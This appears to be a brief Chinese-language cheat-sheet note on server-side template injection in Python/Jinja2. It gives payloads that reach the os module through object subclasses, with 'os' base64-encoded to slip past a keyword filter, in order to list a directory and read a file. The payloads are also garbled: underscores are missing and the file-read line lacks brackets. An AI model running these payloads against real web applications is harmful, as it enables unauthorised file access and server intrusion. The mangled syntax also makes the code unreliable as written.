os被禁用,用base64绕过 显示目录:{{‘’.class.mro[2].subclasses()[71].init.globals[“b3M=”.decode(‘base64’)].listdir(‘.’)}} 读文件:{{‘’.class.mro[2].subclasses()40.read()}}